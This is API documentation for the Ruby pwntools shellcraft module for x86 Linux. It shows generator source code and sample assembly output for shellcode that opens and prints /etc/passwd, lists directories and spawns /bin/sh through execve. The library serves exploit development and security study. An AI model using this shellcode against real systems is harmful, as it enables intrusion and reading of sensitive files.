Module: Pwnlib::Shellcraft::Generators::X86::Linux

Extended by:
Helper
Defined in:
lib/pwnlib/shellcraft/generators/x86/linux/linux.rb,
lib/pwnlib/shellcraft/generators/x86/linux/ls.rb,
lib/pwnlib/shellcraft/generators/x86/linux/sh.rb,
lib/pwnlib/shellcraft/generators/x86/linux/cat.rb,
lib/pwnlib/shellcraft/generators/x86/linux/exit.rb,
lib/pwnlib/shellcraft/generators/x86/linux/open.rb,
lib/pwnlib/shellcraft/generators/x86/linux/sleep.rb,
lib/pwnlib/shellcraft/generators/x86/linux/execve.rb,
lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb

Overview

For os-related methods.

Instance Method Summary collapse

Methods included from Helper

extended

Instance Method Details

#cat(filename, fd: 1) ⇒ Object

Opens a file and writes its contents to the specified file descriptor.

Examples:

context.arch = 'amd64'
puts shellcraft.cat('/etc/passwd')
#  /* push "/etc/passwd\x00" */
#  push 0x1010101 ^ 0x647773
#  xor dword ptr [rsp], 0x1010101
#  mov rax, 0x7361702f6374652f
#  push rax
#  /* call open("rsp", 0, "O_RDONLY") */
#  push 2 /* (SYS_open) */
#  pop rax
#  mov rdi, rsp
#  xor esi, esi /* 0 */
#  cdq /* rdx=0 */
#  syscall
#  /* call sendfile(1, "rax", 0, 2147483647) */
#  push 1
#  pop rdi
#  mov rsi, rax
#  push 0x28 /* (SYS_sendfile) */
#  pop rax
#  mov r10d, 0x7fffffff
#  cdq /* rdx=0 */
#  syscall
#=> nil

Parameters:

  • filename (String)

    The filename.

  • fd (Integer) (defaults to: 1)

    The file descriptor to write the file contents.



45
46
47
48
49
# File 'lib/pwnlib/shellcraft/generators/x86/linux/cat.rb', line 45

def cat(filename, fd: 1)
  abi = ::Pwnlib::ABI::ABI.syscall
  cat Linux.open(filename, 'O_RDONLY')
  cat Linux.syscall('SYS_sendfile', fd, abi.register_arguments.first, 0, 0x7fffffff)
end

#execve(path, argv, envp) ⇒ Object

Execute a different process.

Examples:

shellcraft.execve('/bin/sh', ['sh'], {PWD: '.'})

Parameters:

  • path (String)

    Can be either an absolute path or a register's name.

  • argv (String, Array<String>, Integer, nil)

    If argv is a String, it would be seen as a register. If Array<String>, works like normal arguments array. If Integer, take it as a pointer adrress. (same as nil if zero is given.) If nil, use NULL pointer.

  • envp (String, Hash{#to_s => #to_s}, Integer, nil)

    String for register name. If envp is a Hash, it will be converted into the environ form (i.e. key=value). If Integer, take it as a pointer address (same as nil if zero is given). If nil is given, use NULL pointer.

Difference with Python pwntools:

  • Parameters have no default values since this is a basic function.



33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/pwnlib/shellcraft/generators/x86/linux/execve.rb', line 33

def execve(path, argv, envp)
  abi = ::Pwnlib::ABI::ABI.syscall
  argv = case argv
         when String
           raise ArgumentError, "#{argv.inspect} is not a valid register name" unless register?(argv)

           argv
         when Array
           cat Common.pushstr_array(abi.register_arguments[2], argv)
           cat ''
           abi.register_arguments[2]
         when Integer, nil
           argv.to_i
         end

  envp = case envp
         when String
           raise ArgumentError, "#{envp.inspect} is not a valid register name" unless register?(envp)

           envp
         when Hash
           cat Common.pushstr_array(abi.register_arguments[3], envp.map { |k, v| "#{k}=#{v}" })
           cat ''
           abi.register_arguments[3]
         when Integer, nil
           envp.to_i
         end

  unless register?(path)
    cat Common.pushstr(path)
    cat ''
    path = abi.stack_pointer
  end
  cat Linux.syscall('SYS_execve', path, argv, envp)
end

#exit(status = 0) ⇒ String

Exit syscall.

Examples:

puts shellcraft.exit(1)
#   /* call exit(1) */
#   push 1 /* (SYS_exit) */
#   pop eax
#   push 1
#   pop ebx
#   int 0x80

Parameters:

  • status (Integer) (defaults to: 0)

    Status code.

Returns:

  • (String)

    Assembly for invoking exit syscall.



27
28
29
# File 'lib/pwnlib/shellcraft/generators/x86/linux/exit.rb', line 27

def exit(status = 0)
  cat Linux.syscall('SYS_exit', status)
end

#ls(dir = '.') ⇒ Object

Note:

This shellcode will output the binary data returned by syscall getdents. Use Util::Getdents.parse to parse the output.

List files.

Examples:

context.arch = 'amd64'
puts shellcraft.ls
#   /* push ".\x00" */
#   push 0x2e
#   /* call open("rsp", 0, 0) */
#   push 2 /* (SYS_open) */
#   pop rax
#   mov rdi, rsp
#   xor esi, esi /* 0 */
#   cdq /* rdx=0 */
#   syscall
#   /* call getdents("rax", "rsp", 4096) */
#   mov rdi, rax
#   push 0x4e /* (SYS_getdents) */
#   pop rax
#   mov rsi, rsp
#   xor edx, edx
#   mov dh, 0x1000 >> 8
#   syscall
#   /* call write(1, "rsp", "rax") */
#   push 1
#   pop rdi
#   mov rsi, rsp
#   mov rdx, rax
#   push 1 /* (SYS_write) */
#   pop rax
#   syscall
#=> nil

Parameters:

  • dir (String) (defaults to: '.')

    The relative path to be listed.



51
52
53
54
55
56
57
58
59
60
61
62
# File 'lib/pwnlib/shellcraft/generators/x86/linux/ls.rb', line 51

def ls(dir = '.')
  abi = ::Pwnlib::ABI::ABI.syscall
  cat Common.pushstr(dir)
  cat Linux.syscall('SYS_open', abi.stack_pointer, 0, 0)
  # In x86, return value register is same as sysnr register.
  ret = abi.register_arguments.first
  # XXX(david942j): Will fixed size 0x1000 be an issue?
  cat Linux.syscall('SYS_getdents', ret, abi.stack_pointer, 0x1000) # getdents(fd, buf, sz)

  # Just write all the shits out
  cat Linux.syscall('SYS_write', 1, abi.stack_pointer, ret)
end

#open(filename, flags = 'O_RDONLY', mode = 0) ⇒ String

Push filename onto stack and perform open syscall.

Examples:

puts shellcraft.open('/etc/passwd', 'O_RDONLY')
#   /* push "/etc/passwd\x00" */
#   push 0x1010101
#   xor dword ptr [esp], 0x1657672 /* 0x1010101 ^ 0x647773 */
#   push 0x7361702f
#   push 0x6374652f
#   /* call open("esp", "O_RDONLY", 0) */
#   push 5 /* (SYS_open) */
#   pop eax
#   mov ebx, esp
#   xor ecx, ecx /* (O_RDONLY) */
#   cdq /* edx=0 */
#   int 0x80

Parameters:

  • filename (String)

    The file to be opened.

  • flags (String, Integer) (defaults to: 'O_RDONLY')

    Flags for opening a file.

  • mode (Integer) (defaults to: 0)

    If filename doesn't exist and 'O_CREAT' is specified in flags, mode will be used as the file permission for creating the file.

Returns:

  • (String)

    Assembly for syscall open.



38
39
40
41
42
# File 'lib/pwnlib/shellcraft/generators/x86/linux/open.rb', line 38

def open(filename, flags = 'O_RDONLY', mode = 0)
  abi = ::Pwnlib::ABI::ABI.syscall
  cat Common.pushstr(filename)
  cat Linux.syscall('SYS_open', abi.stack_pointer, flags, mode)
end

#sh(argv: false) ⇒ Object

Note:

Null pointer is always used as envp.

Get shell!

Examples:

context.arch = 'i386'
puts shellcraft.sh
# /* push "/bin///sh\x00" */
# push 0x68
# push 0x732f2f2f
# push 0x6e69622f
#
# /* call execve("esp", 0, 0) */
# push 0xb /* (SYS_execve) */
# pop eax
# mov ebx, esp
# xor ecx, ecx /* 0 */
# cdq /* edx=0 */
# int 0x80
#=> nil

Parameters:

  • argv (Boolean, Array<String>) (defaults to: false)

    Arguments of argv when calling execve. If true is given, use ['sh']. If Array<String> is given, use it as arguments array.

Difference with Python pwntools:

  • By default, this method calls execve(‘/bin///sh’, 0, 0), which is different from pwntools-python: execve(‘/bin///sh’, [‘sh’], 0).



41
42
43
44
45
46
47
48
# File 'lib/pwnlib/shellcraft/generators/x86/linux/sh.rb', line 41

def sh(argv: false)
  argv = case argv
         when true then ['sh']
         when false then 0
         else argv
         end
  cat Linux.execve('/bin///sh', argv, 0)
end

#sleep(seconds) ⇒ Object

Note:

Syscall nanosleep accepts a data pointer as argument, the stack will be used for putting the data needed. The generated assembly will use sizeof(struct timespec) = 16 bytes for putting data.

Sleep for a specified number of seconds.

Examples:

context.arch = :amd64
puts shellcraft.sleep(1)
#  /* push "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" */
#  push 1
#  dec byte ptr [rsp]
#  push 1
#  /* call nanosleep("rsp", 0) */
#  push 0x23 /* (SYS_nanosleep) */
#  pop rax
#  mov rdi, rsp
#  xor esi, esi /* 0 */
#  syscall
#  add rsp, 16 /* recover rsp */
#=> nil

Parameters:

  • seconds (Float)

    The seconds to sleep.



38
39
40
41
42
43
44
45
46
47
# File 'lib/pwnlib/shellcraft/generators/x86/linux/sleep.rb', line 38

def sleep(seconds)
  # pushes the data onto stack
  tv_sec = seconds.to_i
  tv_nsec = ((seconds - tv_sec) * 1e9).to_i
  data = ::Pwnlib::Util::Packing.p64(tv_sec) + ::Pwnlib::Util::Packing.p64(tv_nsec)
  cat Common.pushstr(data, append_null: false)
  sp = ::Pwnlib::ABI::ABI.default.stack_pointer
  cat Linux.syscall('SYS_nanosleep', sp, 0)
  cat "add #{sp}, #{data.size} /* recover #{sp} */"
end

#syscall(*arguments) ⇒ Object

Assembly of syscall.

Examples:

context.arch = 'i386'
puts shellcraft.syscall('SYS_open', 'esp', 0, 0)
# /* call open("esp", 0, 0) */
# push 5 /* (SYS_open) */
# pop eax
# mov ebx, esp
# xor ecx, ecx /* 0 */
# cdq /* edx=0 */
# int 0x80
#=> nil


26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# File 'lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb', line 26

def syscall(*arguments)
  abi = ::Pwnlib::ABI::ABI.syscall
  registers = abi.register_arguments
  reg_ctx = registers.zip(arguments).to_h
  syscall = arguments.first
  if syscall.to_s.start_with?('SYS_')
    fmt = "#{syscall.to_s[4..-1]}(%s)"
    args = []
  else
    fmt = 'syscall(%s)'
    args = [syscall ? syscall.inspect : '?']
  end
  # arg0 to arg5
  1.upto(6) do |i|
    args.push(arguments[i] ? arguments[i].inspect : '?')
  end
  args.pop while args.last == '?'

  cat "/* call #{format(fmt, args.join(', '))} */"
  cat Common.setregs(reg_ctx) if arguments.any? { |v| !v.nil? }
  cat abi.syscall_str
end